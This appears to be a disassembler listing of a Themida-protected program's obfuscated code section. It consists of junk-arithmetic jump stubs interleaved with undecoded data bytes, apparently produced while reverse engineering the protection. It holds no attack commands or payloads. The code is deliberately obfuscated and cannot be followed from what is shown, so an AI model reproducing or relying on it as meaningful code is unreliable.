		dd 0BC10DFBEh, 0EEC6812Fh, 8134CE5Fh, 10A734C6h, 0EC61E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64432E:				; CODE XREF: Themida_:0063FDC6j
		xor	edx, ecx
		push	ecx
		not	dword ptr [esp]
		jmp	loc_6426DB
; ---------------------------------------------------------------------------


loc_644339:				; CODE XREF: Themida_:00648E43j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_63A907
; ---------------------------------------------------------------------------


loc_644346:				; CODE XREF: Themida_:00645B32j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_63DB7B
; ---------------------------------------------------------------------------


loc_644351:				; CODE XREF: Themida_:00640D16j
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_6475BE
; ---------------------------------------------------------------------------
		dd 0E904C483h, 5072h, 0AD56B60Dh, 4E8C13Fh, 12Dh, 0D4592D00h
		dd 0C189B62Eh, 8324048Bh, 0D3E904C4h, 8300005Bh, 2CE904C4h
		dd 81FFFF46h, 0B97785F2h, 6E2C143h, 70F5F281h, 0F281175Fh
		dd 2416DFDAh, 1AEDE9h, 4EC8300h, 0B8240489h, 21201287h
		dd 61B85053h, 89536F37h, 0CB8158C3h, 69E20CCBh,	0D2A0C381h
		dd 5A53A530h, 0FF374EE9h, 52565EFFh, 2532E9h
		db 0
; ---------------------------------------------------------------------------


loc_6443D5:				; CODE XREF: Themida_:0063E0B1j
		xchg	ecx, [esp]
		jmp	loc_63B8D7
; ---------------------------------------------------------------------------


loc_6443DD:				; CODE XREF: Themida_:00637539j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6B9C3CD0h
		jmp	loc_641AC4
; ---------------------------------------------------------------------------
		dd 0AD53FE05h, 2434FF58h, 0E289525Eh, 4C281h, 0C2810000h
		dd 4, 5C241487h, 4EC81h, 4890000h, 2474FF24h, 48F5804h
		dd 24248B24h, 240C8B66h, 146168h, 24148900h, 4F64E954h
		dd 0EC830000h, 24348904h, 51E9E689h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64443F:				; CODE XREF: Themida_:00635A3Bj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_6361CB
; ---------------------------------------------------------------------------
		dd 1DB4C781h, 0E95D72DBh, 0FFFF698Bh
; ---------------------------------------------------------------------------


loc_64445C:				; CODE XREF: Themida_:0064577Cj
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 56592434h, 0BA525E54h, 5B9030BCh, 1516E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_64447E:				; CODE XREF: Themida_:0063F4FEj
		add	esp, 4
		jmp	loc_637A9B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C18104h, 56000000h,	0C681E689h, 4, 0A66E9h,	8BCA2900h
		dd 0C483240Ch, 10FBE904h, 0E8C1FFFFh, 91483504h, 742D42DDh
		dd 0F7647977h, 0C68CE9D0h, 7F68FFFFh, 0E942B91Ah, 0FFFF6987h
		dd 0BB241C89h, 60BC3239h, 384E2F05h, 2DD82949h,	49384E2Fh
		dd 7C8B055Bh, 0F0016EC8h, 0C87C8B2Dh, 0DD87E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6444EE:				; CODE XREF: Themida_:0063F5F9j
		neg	eax
		sub	eax, 4F37BAFDh
		jmp	loc_63CE87
; ---------------------------------------------------------------------------
		dw 0D3B1h
		dd 5966CF28h, 8040ED80h, 58E9EFC5h, 4FFFFB8h, 77E68FFh
		dd 1C890000h, 80E6B324h, 0C380BEF3h, 59C380AFh,	0E908F380h
		dd 1A34h
; ---------------------------------------------------------------------------


loc_644528:				; CODE XREF: Themida_:0063D839j
		pop	edx
		sub	ebx, 0D0D6C40h
		xor	ebx, 0C2D2A48h
		or	edx, ebx
		jmp	loc_64184E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_638730
; ---------------------------------------------------------------------------
aYbif		db 'Y',0
		db 5Ch
		dd 305F05D6h, 0D8015644h, 0FF8DEFE9h, 58C731FFh, 11AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_644565:				; CODE XREF: Themida_:00645387j
		pop	edx
		jmp	loc_644040
; ---------------------------------------------------------------------------
		db 29h
		dd 34875BDEh, 84E95C24h, 81FFFF26h, 4C7306EAh, 81CA0100h
		dd 4C7306C2h, 74E95900h, 81FFFF94h, 552307C2h, 243C8B4Dh
		dd 8125E950h, 0E951FFFFh, 0FFFFEF1Eh
; ---------------------------------------------------------------------------


loc_6445A0:				; CODE XREF: Themida_:0063C9C7j
		mov	ecx, esp
		jmp	loc_63DAE5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E1895100h, 4C181h, 0E9830000h, 240C8704h, 8924248Bh
		dd 74FF240Ch, 0C8B0424h, 4C48324h, 8B24048Fh, 8B662424h
		dd 54532404h, 0A29DE95Bh, 0F751FFFFh, 0C1592414h, 0F18108E1h
		dd 0D98BD8C8h, 34FFCE01h, 0AFE95924h, 59FFFF2Ch, 39FDE9h
		dd 0FA3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644602:				; CODE XREF: Themida_:00637F38j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_637F18
; ---------------------------------------------------------------------------
		dd 704EEA81h, 0D2F75A5Dh, 3F27F281h, 0B951220Ch, 2E6B19D3h
		dd 5801C181h, 0EB81F8DDh, 407F658Fh, 0C381CB29h, 407F658Fh
		dd 0DCC38159h, 13AC823h, 0DCEB81D3h, 813AC823h,	4871D4C3h
		dd 29A4E927h, 0C3810000h, 5C0F30E6h, 243C8B5Dh,	4C481h
		dd 0C3010000h, 5CD1C381h, 0EC814448h, 4, 0B9240C89h, 554D3BD8h
		dd 0C8BCB01h, 0E1895124h, 0FF5415E9h, 0D5F759FFh, 54A9E945h
		dd 0FB680000h, 0E9000000h, 0FFFF441Ch
; ---------------------------------------------------------------------------


loc_64469C:				; CODE XREF: Themida_:00648764j
		mov	eax, 653E5F6Ah
		push	edi
		mov	edi, 5CA7981h
		xor	eax, edi
		pop	edi
		neg	eax
		add	eax, 0DAFD744Eh
		mov	ecx, eax
		pop	eax
		add	ecx, 0FFFFFFFFh
		jmp	loc_639F8E
; ---------------------------------------------------------------------------


loc_6446BC:				; CODE XREF: Themida_:0063695Aj
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 920127Eh
		add	ebx, ebp
		jmp	loc_641A3D
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 32E90000h, 0B0FFFF86h, 88B7EAh, 686658C7h, 70E924FCh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6446F3:				; CODE XREF: Themida_:006359E4j
		add	esi, 4
		jmp	loc_63E906
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E950240Ch, 0FFFFCB03h, 0C5CDE958h, 0D901FFFFh, 1F2BC181h
		dd 34FF2EABh, 89505B24h, 405E0h, 4050000h, 87000000h, 0E95C2404h
		dd 617Fh, 4C581h, 0C5830000h, 242C8704h, 0FF5B5EE9h, 0FFC181FFh
		dd 0C1FFFFFFh, 0C18104E9h, 0FC681B8Ch, 34FFC801h, 0FFE95924h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64475B:				; CODE XREF: Themida_:0063A054j
		mov	[esp], eax
		mov	eax, esp
		push	882h
		mov	[esp], edi
		jmp	loc_636C03
; ---------------------------------------------------------------------------
		db 53h,	81h, 4
		dd 0B8192824h, 40478F7Bh, 28406F81h, 8B7BB819h,	5450241Ch
		dd 90D6E958h, 34FFFFFFh, 243C8B24h, 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_6462E8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 9E51E904h, 8B66FFFFh, 6853240Ch, 5E16h, 81242489h, 42404h
		dd 34FF0000h, 0FAE95B24h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6447DB:				; CODE XREF: Themida_:0063BF30j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_641F39
; ---------------------------------------------------------------------------
		dd 0E904C483h, 5BC7h, 7DAC381h,	0E94B3D76h, 0FFFF3ED8h
		dd 40CE815Eh, 0E918EA60h, 0FFFF798Ch, 2414F757h, 5F2434FFh
		dd 5204C483h, 6C361DBAh, 5AD70106h, 5AFEC781h, 0C7812C78h
		dd 0A00828C3h, 0CC7FA42Dh, 0AFBEE900h, 5659FFFFh, 0C681E689h
		dd 4, 0FF9D30E9h, 0E9CB01FFh, 0FFFFFD06h
; ---------------------------------------------------------------------------


loc_644844:				; CODE XREF: Themida_:0063DBDBj
		sub	ecx, 0F0D1D341h
		mov	edi, ecx
		pop	ecx
		not	edi
		or	edi, 63F54004h
		jmp	loc_63A625
; ---------------------------------------------------------------------------


loc_64485A:				; CODE XREF: Themida_:00649371j
		pop	ebp
		not	edi
		shr	edi, 7
		neg	edi
		add	edi, 243E0A64h
		xor	eax, edi
		pop	edi
		add	ecx, 5CC1306h
		jmp	loc_641E04
; ---------------------------------------------------------------------------
		dw 158h
		dd 24148BD1h, 8104C483h, 16B5AE9h, 36F18134h, 0E96E4577h
		dd 0FFFFDB31h, 4C481h, 45E90000h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64489B:				; CODE XREF: Themida_:006474F0j
		push	2C717D85h
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 611236A6h
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_63867A
; ---------------------------------------------------------------------------


loc_6448C0:				; CODE XREF: Themida_:0063C462j
		mov	eax, 18606128h
		push	edx
		mov	edx, 33751218h
		sub	edx, 0FFFFFFFFh
		xor	edx, 57B259BCh
		sub	eax, edx
		jmp	loc_64969B
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 6302E924h, 0EC810000h, 4,	0BF243C89h, 4
		dd 3C8BFE01h, 2D19E924h, 1487FFFFh, 0F1815C24h,	0C22B551h
		dd 4356E205h, 2DC82901h, 14356E2h, 0E9240C8Bh, 0FFFF0CD3h
		dd 18F8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644922:				; CODE XREF: Themida_:0063D77Cj
		push	26DBh
		mov	[esp], esi
		mov	esi, 350CE3h
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	esp
		jmp	loc_63BED0
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 44C70424h, 740146B6h, 44810424h, 44C70424h, 0F5E946B6h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644957:				; CODE XREF: Themida_:00635AC2j
		push	ebp
		mov	ebp, 0
		jmp	loc_636F15
; ---------------------------------------------------------------------------


loc_644962:				; CODE XREF: Themida_:0063BA9Aj
		pop	esi
		xor	ebx, edi
		pop	edi
		push	edx
		jmp	loc_6393FB
; ---------------------------------------------------------------------------


loc_64496C:				; CODE XREF: Themida_:0063634Dj
		sub	edx, 665B0F48h
		and	edx, 7D401FD9h
		sub	edx, 46BBAE55h
		and	ebx, edx
		pop	edx
		push	esi
		mov	esi, 13EA725Dh
		jmp	loc_641F58
; ---------------------------------------------------------------------------


loc_64498C:				; CODE XREF: Themida_:00638DA5j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7B372CEEh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, edi
		mov	ebx, edx
		jmp	loc_64615B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 743AC5DAh, 15DE801h,	89575DE8h, 5FFA89C7h, 5498E958h
		dd 8B660000h, 22E92404h, 0BD000002h, 5E4712A1h,	475DEF09h
		dd 0FFEAA7E9h, 0C8B66FFh, 58545024h, 405h, 4E88300h, 0FFF3BCE9h
		dd 243C89FFh, 4EC81h, 24890000h, 24048324h, 56E95F04h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_644A0F:				; CODE XREF: Themida_:00639AC9j
		mov	edi, 174C141Ah
		dec	edi
		not	edi
		sub	edi, 5FF94F29h
		add	edi, 4FD424DCh
		push	17AAh
		mov	[esp], ebx
		mov	ebx, 0D88EC195h
		sub	edi, ebx
		pop	ebx
		jmp	loc_63B24D
; ---------------------------------------------------------------------------
		dd 1D1D82B9h, 1FE18119h, 81607E5Ch, 0E61A71C1h,	3E9C137h
		dd 46CAF181h, 0CB010700h, 4EB8159h, 87000000h, 26E9241Ch
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_644A63:				; CODE XREF: Themida_:0063FE75j
		mov	esi, ebp
		pop	ebp
		mov	ecx, esi
		pop	esi
		sub	ecx, ebp
		jmp	loc_6490E3
; ---------------------------------------------------------------------------
		dd 24048B66h, 5360E9h, 0E9CE0100h, 4B4Bh, 4BDh,	0BA15E900h
		dd 3C8BFFFFh, 4C48124h,	1000000h, 0D161E9F1h, 0EA81FFFFh
		dd 348C7B44h, 0FF9769E9h, 4C483FFh, 4C381h, 61E90000h
		dd 5CFFFFBEh, 0BB241C89h, 2, 685BDF29h,	40CFh, 0FF243C89h
		dd 0FF042474h, 835F2434h, 8E904ECh, 0C1FFFFD5h,	575602EBh
		dd 0B533C7BFh, 81E7D107h, 431224EFh, 24F78151h,	89F3D148h
		dd 0F3095FFEh, 0FFD344E9h, 4C483FFh, 6674EB81h,	0BEE91D1Fh
		dd 81FFFF65h, 843419F2h, 57BB5330h, 0E91F69F7h,	4E6Ah
; ---------------------------------------------------------------------------


loc_644B18:				; CODE XREF: Themida_:0063E400j
		mov	ah, dh
		pop	edx
		jmp	loc_645F3D
; ---------------------------------------------------------------------------


loc_644B20:				; CODE XREF: Themida_:00640E30j
		push	eax
		mov	eax, 7B141FACh
		and	edx, eax
		pop	eax
		xor	edx, 779245A4h
		push	13EAh
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		and	edx, 2D294AA3h
		xor	edx, 9290282h
		add	[ebx], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6403C1
; ---------------------------------------------------------------------------
		dd 0D9063FBEh, 5EF13139h, 0C8BCB29h, 0C090E924h, 0EC81FFFFh
		dd 2, 24148966h, 0E95319B2h, 0FFFFB34Bh, 4D95E952h, 5359FFFFh
		dd 536E51BBh, 81EBD112h, 2A4CBEEBh, 8942E949h, 348BFFFFh
		dd 4C48124h, 83000000h,	48704C0h, 24248B24h, 0E9C0B60Fh
		dd 0FFFFC294h, 0FF09F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_644BB1:				; CODE XREF: Themida_:006386CBj
		pop	ecx
		and	edx, 6DAF4C68h
		inc	edx
		shl	edx, 8
		not	edx
		shl	edx, 8
		sub	edx, 3400B6FDh
		jmp	loc_63F9F6
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6824048Bh, 6C3Ch,	68242C89h, 2F3Fh, 89240C89h
		dd 4C181E1h, 81000000h,	4E9h, 240C3300h, 0FF193AE9h, 785C68FFh
		dd 0EE90000h, 2C000040h, 8B5B2C6Dh, 0C4832414h,	2434FF04h
		dd 83241C8Bh, 7EE904C4h, 29FFFF0Ah, 137DE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644C22:				; CODE XREF: Themida_:006491D6j
		sub	esp, 4
		jmp	loc_649F37
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 24348700h, 81D2F75Ch, 404517C2h, 89CA8179h
		dd 507ECC6Ah, 0B6196AB8h, 325402Bh, 502D0820h, 582414F7h
		dd 2F05D8F7h, 1925BE8h,	24048BC2h, 0FFE987E9h, 2474FFFFh
		dd 241C8B04h, 0FFB80BE9h, 50E889FFh, 250E9h, 7AF68100h
		dd 5B1D9813h, 0FF1C7721h, 0E95E2434h, 0FFFF1554h, 0DABD555Eh
		dd 29103F65h, 0F0295DE8h, 3F65DA05h, 3C09E910h,	0C281FFFFh
		dd 187342BDh, 138C281h,	0F2814B0Eh, 0F0166A5Ch,	515AD389h
		dd 0FF9666E9h, 5EF109FFh, 4A52E981h, 0C1810B13h, 0BF077049h
		dd 0FF9994E9h, 242C8BFFh, 3A30E9h
		db 0
; ---------------------------------------------------------------------------


loc_644CE1:				; CODE XREF: Themida_:006431ACj
		inc	ecx
		push	edx
		mov	edx, 9AC5EDEFh
		add	ecx, edx
		pop	edx
		jmp	loc_63A9E0
; ---------------------------------------------------------------------------


loc_644CF0:				; CODE XREF: Themida_:0064ABE3j
		add	ebx, eax
		add	ebx, 66991AA7h
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_645E83
; ---------------------------------------------------------------------------
		dd 405h, 1FE6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644D0A:				; CODE XREF: Themida_:00639E26j
		not	eax
		jmp	loc_639FA7
; ---------------------------------------------------------------------------
		db 31h,	0F7h, 8Bh
		dd 0C4812434h, 4, 0FFC0F4E9h, 48F58FFh,	24248B24h, 31242C33h
		dd 2C33242Ch, 24248B24h, 51E28952h, 901149B9h, 28C1813Fh
		dd 0C16B0D33h, 0C18103E9h, 0EAAC5776h, 8159CA01h, 4EAh
		dd 0B91CE900h, 0C328FFFFh, 5184C380h, 0C9FE37B1h, 0E904E1C0h
		dd 98h,	494868h, 24148900h, 8850ADB6h, 58E788F4h, 0B753515Ah
		dd 0E9F988A1h, 0FFFF3467h, 1D6C355Ah, 81E92B06h, 8FFFFFACh
		dd 75682404h, 0E9000034h, 0FFFFED4Ah, 0E9241C8Bh, 0FFFFB75Ch
; ---------------------------------------------------------------------------


loc_644DA8:				; CODE XREF: Themida_:0063C259j
		mov	ebp, 0A0D19D1h
		dec	ebp
		shr	ebp, 4
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		xor	ebp, 0E99462B8h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_63854A
; ---------------------------------------------------------------------------
		db 0B9h
		dd 623433DBh, 28E7E981h, 0F1810CD5h, 62A553C3h,	0BA52D9F7h
		dd 76F10EA3h, 0CA81DAF7h, 79E26530h, 2DA2EA81h,	0F2817265h
		dd 0E817AEE5h, 69E9D121h, 0FFFFFFDEh, 34FF2434h, 0E9505824h
		dd 0FFFFBCA1h, 0E9D9F180h, 22DEh, 4A3EE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644E12:				; CODE XREF: Themida_:00643D36j
		xor	ebx, 232C284Ch
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		push	edx
		jmp	loc_63CFBB
; ---------------------------------------------------------------------------


loc_644E31:				; CODE XREF: Themida_:00642AE2j
		pop	ecx
		add	ecx, 13DF1C1Eh
		sub	esp, 4
		mov	[esp], ecx
		pop	edi
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 3133769Dh
		not	ebp
		dec	ebp
		sub	ebp, 0CECC895Dh
		jmp	loc_647634
; ---------------------------------------------------------------------------


loc_644E5F:				; CODE XREF: Themida_:00640734j
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_63B45E
; ---------------------------------------------------------------------------
		dd 50240C8Bh, 405E089h,	5000000h, 4, 0FF9F7FE9h, 81E289FFh
		dd 4C2h, 4EA8300h, 0E9241487h, 0FFFFFC17h
; ---------------------------------------------------------------------------


loc_644E9C:				; CODE XREF: Themida_:0063D051j
		xor	ecx, 9EF82700h
		add	edi, ecx
		pop	ecx
		add	edi, 53843E4Bh
		add	edi, edx
		sub	edi, 53843E4Bh
		push	ebx
		jmp	loc_63933B
; ---------------------------------------------------------------------------


loc_644EB9:				; CODE XREF: Themida_:0063FD36j
		xchg	eax, [esp]
		pop	esp
		sub	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 2ED240F9h
		not	edx
		push	ebp
		jmp	loc_647866
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 4
		dd 7265E924h, 32B9FFFFh, 29395927h, 3999E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644EE6:				; CODE XREF: Themida_:0063607Bj
		not	ecx
		xor	ecx, 127E7E4Fh
		jmp	loc_647B31
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0DEE92404h, 80FFFFCDh, 3E99AC6h, 57000032h, 4BFh, 5FFE2900h
		dd 5C243487h, 0BF243C89h, 2, 0FF173AE9h, 4C381FFh, 81000000h
		dd 4C3h, 241C3300h, 0FFD90DE9h,	29E959FFh, 51FFFFCCh, 0B3373B9h
		dd 0F7D9F77Ch, 0D2C981D1h, 49055878h, 8411C181h, 0CF8982A4h
		dd 7FC68159h, 1589811h,	7FEE81FEh, 0E9589811h, 0FFFFF826h
		dd 0EEFB951h, 0C18141EBh, 1A0258E8h, 0F58BB53h,	0F381333Bh
		dd 333B0F59h, 1C8BD929h, 4C48124h, 0E9000000h, 0FFFF892Bh
; ---------------------------------------------------------------------------


loc_644F8C:				; CODE XREF: Themida_:00643786j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_6488B5
; ---------------------------------------------------------------------------
		dd 474CAFBBh, 7860E93Bh, 2BB8FFFFh, 0D77EF6Ah, 554B4B34h
		dd 725E8005h, 0E3895352h, 4197BF57h, 0CBE951ACh, 0FF000054h
		dd 0EC831C77h, 24348904h, 0C130B2BEh, 0E183E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_644FDA:				; CODE XREF: Themida_:0064679Dj
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_640FCB
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E668F1F7h, 89000012h, 0E9542414h, 0FFFF4112h, 0BD242C89h
		dd 2, 875DEF01h, 515C243Ch, 89E9C0B5h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_645017:				; CODE XREF: Themida_:00647155j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		sub	eax, 2B6F0579h
		jmp	loc_638398
; ---------------------------------------------------------------------------


loc_645039:				; CODE XREF: Themida_:00642BC3j
		mov	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_6391E5
; ---------------------------------------------------------------------------


loc_645043:				; CODE XREF: Themida_:00645EF3j
		pop	esp
		push	0D42h
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_64633F
; ---------------------------------------------------------------------------


loc_645065:				; CODE XREF: Themida_:00648870j
		mov	[esp], edi
		jmp	loc_640BB6
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 63h
		dd 0BBFFFF26h, 0
		dd 7A2C381h, 0CB295803h, 1045E9h
		db 0
; ---------------------------------------------------------------------------


loc_645085:				; CODE XREF: Themida_:0063ECDCj
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_63CCAE
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 53000000h, 0B0E9E389h, 33FFFF44h, 248B243Ch,	4C48124h
		dd 68000000h, 2315h, 0E9240489h, 0FFFF35F4h, 42474FFh
		dd 0FF2434FFh, 53582434h, 0BA52E389h, 12C1621Dh, 4CCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_6450D1:				; CODE XREF: Themida_:0064169Fj
		mov	ebx, 4
		jmp	loc_645F0A
; ---------------------------------------------------------------------------
		db 0BAh
		dd 286A78DFh, 0A995C281h, 0D0311DB0h, 7ECD355Ah, 0E9406695h
		dd 0FFFF3FB9h
; ---------------------------------------------------------------------------


loc_6450F4:				; CODE XREF: Themida_:00640530j
		push	edx
		jmp	loc_642ABA
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 71E95424h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_645103:				; CODE XREF: Themida_:006499BEj
		mov	eax, [esp]
		jmp	loc_641E4E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E95F5368h, 57F1h
; ---------------------------------------------------------------------------


loc_645114:				; CODE XREF: Themida_:00647B49j
		mov	[esp], eax
		jmp	loc_6380BE
; ---------------------------------------------------------------------------
		dd 15D868h, 2E88E900h, 0C481FFFFh, 4, 5C24048Fh, 0B60F66h
		dd 5089E9h, 543BBE00h, 0F6815686h, 56B17DE3h, 348BF029h
		dd 4C48124h, 1000000h, 0ABBB53D8h, 0E9144558h, 0FFFF14BDh
		dd 42474FFh, 5E2434FFh,	0FF6936E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_645169:				; CODE XREF: Themida_:00641A5Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	46E0h
		mov	[esp], ecx
		jmp	loc_63DE10
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0E88304C4h, 4EC8102h, 89000000h, 0FEE92404h
		dd 81FFFFBDh, 4ECh, 24048900h, 0E188DC88h, 8B2434FFh, 0C4832404h
		dd 4C48104h, 5B000000h,	0CB30AAB3h, 0EBEB8059h,	8101C380h
		dd 4ECh, 24148900h, 3441B050h, 4EB35389h, 0FFBD89E9h, 4C483FFh
		dd 169568h, 243C8900h, 4BFh, 3FC38100h,	15BA537h, 3FEB81FBh
		dd 8B5BA537h, 0FF68243Ch, 8900004Fh, 0FF542434h, 815E2434h
		dd 4C4h, 0B8E95700h, 68FFFF07h,	671Bh, 0FF27E6E9h, 81E389FFh
		dd 4C3h, 7AD1E900h, 8B66FFFFh, 5450240Ch, 34E95658h, 5000010h
		dd 6C385A9Fh, 15659E2Dh, 5E8017Dh, 7D15659Eh, 385A9F2Dh
		dd 226D686Ch, 1C890000h, 791FBB24h, 0E9433A97h,	0FFFF8C7Ah
		dd 21EC805Bh, 0C4FED4F6h, 6805E4C0h, 1C68h, 0B2241489h
		dd 0C0EAD083h, 0F28004E2h, 41C4809Bh, 0EC80D400h, 24148B41h
		dd 8804C483h, 0D30058E2h, 5024148Bh, 0FF11EBE9h, 2DAC68FFh
		dd 2C890000h, 74FE924h,	0E789FFFFh, 4C781h, 0C7830000h
		dd 243C8704h, 2E2C15Ch,	0F281D2F7h, 0A1656E7Dh,	24AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6452C2:				; CODE XREF: Themida_:00639AD4j
		sub	esi, 0FFFFFFFFh
		shr	esi, 8
		or	esi, 4EB20D77h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_63DBBE
; ---------------------------------------------------------------------------
		dd 18D2B850h, 0C709295Bh, 0FFF41FE9h, 2434FFFFh, 4C4835Eh
		dd 7C2DD8F7h, 0E9EEDFEDh, 9ABh,	0C2112DBDh, 21CD8169h
		dd 0E93BA923h, 0FFFFC718h, 4BFh, 5FFE0100h, 0E9243487h
		dd 0FFFFB7C5h
; ---------------------------------------------------------------------------


loc_64531C:				; CODE XREF: Themida_:00637CE4j
		shl	dl, 2
		push	eax
		mov	al, 0FAh
		shr	al, 1
		dec	al
		shl	al, 2
		add	al, 6Dh
		sub	dl, al
		pop	eax
		jmp	loc_63B7FF
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 4A5468h, 24048900h,	76603068h, 18EFE97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64534E:				; CODE XREF: Themida_:0063E994j
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, eax
		pop	eax
		sub	ebp, ebx
		jmp	loc_63C38C
; ---------------------------------------------------------------------------


loc_64535E:				; CODE XREF: Themida_:006490ADj
		mov	ecx, 0EF25051h
		not	ecx
		xor	ecx, 2F34D42h
		add	ecx, 370559BCh
		add	ebx, ecx
		pop	ecx
		jmp	loc_63687B
; ---------------------------------------------------------------------------


loc_645379:				; CODE XREF: Themida_:0063CDC2j
		push	535Dh
		jmp	loc_63FDE3
; ---------------------------------------------------------------------------


loc_645383:				; CODE XREF: Themida_:00640042j
		mov	[esp], edx
		push	esp
		jmp	loc_644565
; ---------------------------------------------------------------------------
		dd 52515866h, 0F0E9A1B6h, 0FF00004Ah, 815B2434h, 4C4h
		dd 4EC8300h, 3B55E9h, 240C3100h, 0E9240C33h, 0FFFF5175h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		jmp	loc_63BE18
; ---------------------------------------------------------------------------


loc_6453C2:				; CODE XREF: Themida_:00643CE6j
		and	ebx, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_64169E
; ---------------------------------------------------------------------------


loc_6453D5:				; CODE XREF: Themida_:00639E4Aj
		add	ebx, 1
		push	ecx
		jmp	loc_63B12A
; ---------------------------------------------------------------------------


loc_6453DE:				; CODE XREF: Themida_:0063E52Ej
		push	57C5h
		mov	[esp], edx
		mov	edx, esp
